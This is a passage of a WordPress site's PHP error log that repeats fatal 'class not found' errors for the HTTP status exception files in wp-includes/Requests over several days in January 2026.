  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status501.php on line 17
[04-Jan-2026 10:03:34 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status502.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status502.php on line 17
[04-Jan-2026 10:03:34 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status503.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status503.php on line 17
[04-Jan-2026 10:03:34 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status504.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status504.php on line 17
[04-Jan-2026 10:03:34 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status505.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status505.php on line 17
[04-Jan-2026 10:03:35 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status511.php:21
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status511.php on line 21
[04-Jan-2026 10:03:35 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/StatusUnknown.php:18
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/StatusUnknown.php on line 18
[04-Jan-2026 10:13:18 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status304.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status304.php on line 17
[04-Jan-2026 10:13:19 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status305.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status305.php on line 17
[04-Jan-2026 10:13:19 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status306.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status306.php on line 17
[04-Jan-2026 10:13:19 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status400.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status400.php on line 17
[04-Jan-2026 10:13:19 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status401.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status401.php on line 17
[04-Jan-2026 10:13:20 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status402.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status402.php on line 17
[04-Jan-2026 10:13:20 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status403.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status403.php on line 17
[04-Jan-2026 10:13:20 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status404.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status404.php on line 17
[04-Jan-2026 10:13:21 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status405.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status405.php on line 17
[04-Jan-2026 10:13:21 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status406.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status406.php on line 17
[04-Jan-2026 10:13:21 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status407.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status407.php on line 17
[04-Jan-2026 10:13:21 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status408.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status408.php on line 17
[04-Jan-2026 10:13:22 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status409.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status409.php on line 17
[04-Jan-2026 10:13:22 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status410.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status410.php on line 17
[04-Jan-2026 10:13:22 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status411.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status411.php on line 17
[04-Jan-2026 10:13:23 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status412.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status412.php on line 17
[04-Jan-2026 10:13:23 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status413.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status413.php on line 17
[04-Jan-2026 10:13:23 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status414.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status414.php on line 17
[04-Jan-2026 10:13:24 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status415.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status415.php on line 17
[04-Jan-2026 10:13:24 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status416.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status416.php on line 17
[04-Jan-2026 10:13:24 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status417.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status417.php on line 17
[04-Jan-2026 10:13:24 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status418.php:21
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status418.php on line 21
[04-Jan-2026 10:13:25 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status428.php:21
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status428.php on line 21
[04-Jan-2026 10:13:25 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status429.php:21
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status429.php on line 21
[04-Jan-2026 10:13:25 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status431.php:21
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status431.php on line 21
[04-Jan-2026 10:13:26 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status500.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status500.php on line 17
[04-Jan-2026 10:13:26 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status501.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status501.php on line 17
[04-Jan-2026 10:13:26 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status502.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status502.php on line 17
[04-Jan-2026 10:13:26 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status503.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status503.php on line 17
[04-Jan-2026 10:13:27 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status504.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status504.php on line 17
[04-Jan-2026 10:13:27 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status505.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status505.php on line 17
[04-Jan-2026 10:13:27 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status511.php:21
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status511.php on line 21
[04-Jan-2026 10:13:28 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/StatusUnknown.php:18
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/StatusUnknown.php on line 18
[05-Jan-2026 23:51:45 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status304.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status304.php on line 17
[05-Jan-2026 23:51:58 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status305.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status305.php on line 17
[05-Jan-2026 23:52:03 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status306.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status306.php on line 17
[05-Jan-2026 23:52:09 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status400.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status400.php on line 17
[05-Jan-2026 23:52:17 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status401.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status401.php on line 17
[05-Jan-2026 23:52:37 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status402.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status402.php on line 17
[05-Jan-2026 23:53:01 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status403.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status403.php on line 17
[05-Jan-2026 23:53:14 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status404.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status404.php on line 17
[05-Jan-2026 23:53:50 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status405.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status405.php on line 17
[05-Jan-2026 23:55:43 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status406.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status406.php on line 17
[05-Jan-2026 23:56:53 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status407.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status407.php on line 17
[05-Jan-2026 23:59:10 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status408.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status408.php on line 17
[05-Jan-2026 23:59:53 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status409.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status409.php on line 17
[06-Jan-2026 00:02:17 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status410.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status410.php on line 17
[06-Jan-2026 00:03:19 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status411.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status411.php on line 17
[06-Jan-2026 00:04:11 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status412.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status412.php on line 17
[06-Jan-2026 00:05:11 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status413.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status413.php on line 17
[06-Jan-2026 00:07:16 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status414.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status414.php on line 17
[06-Jan-2026 00:08:28 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status415.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status415.php on line 17
[06-Jan-2026 00:10:51 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status416.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status416.php on line 17
[06-Jan-2026 00:11:26 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status417.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status417.php on line 17
[06-Jan-2026 00:11:40 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status418.php:21
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status418.php on line 21
[06-Jan-2026 00:12:52 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status428.php:21
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status428.php on line 21
[06-Jan-2026 00:13:25 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status429.php:21
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status429.php on line 21
[06-Jan-2026 00:14:22 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status431.php:21
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status431.php on line 21
[06-Jan-2026 00:15:43 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status500.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status500.php on line 17
[06-Jan-2026 00:17:05 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status501.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status501.php on line 17
[06-Jan-2026 00:17:59 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status502.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status502.php on line 17
[06-Jan-2026 00:18:37 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status503.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status503.php on line 17
[06-Jan-2026 00:19:51 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status504.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status504.php on line 17
[06-Jan-2026 00:20:18 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status505.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status505.php on line 17
[06-Jan-2026 00:20:48 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status511.php:21
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status511.php on line 21
[06-Jan-2026 00:22:07 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/StatusUnknown.php:18
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/StatusUnknown.php on line 18
[06-Jan-2026 01:12:58 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status304.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status304.php on line 17
[06-Jan-2026 01:12:58 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status305.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status305.php on line 17
[06-Jan-2026 01:12:59 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status306.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status306.php on line 17
[06-Jan-2026 01:12:59 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status400.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status400.php on line 17
[06-Jan-2026 01:13:00 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status401.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status401.php on line 17
[06-Jan-2026 01:13:01 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status402.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status402.php on line 17
[06-Jan-2026 01:13:01 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status403.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status403.php on line 17
[06-Jan-2026 01:13:02 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status404.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status404.php on line 17
[06-Jan-2026 01:13:03 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status405.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status405.php on line 17
[06-Jan-2026 01:13:04 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status406.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status406.php on line 17
[06-Jan-2026 01:13:04 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status407.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status407.php on line 17
[06-Jan-2026 01:13:05 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status408.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status408.php on line 17
[06-Jan-2026 01:13:07 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status409.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status409.php on line 17
[06-Jan-2026 01:13:07 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status410.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status410.php on line 17
[06-Jan-2026 01:13:08 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status411.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status411.php on line 17
[06-Jan-2026 01:13:09 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status412.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status412.php on line 17
[06-Jan-2026 01:13:09 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status413.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status413.php on line 17
[06-Jan-2026 01:13:11 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status414.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status414.php on line 17
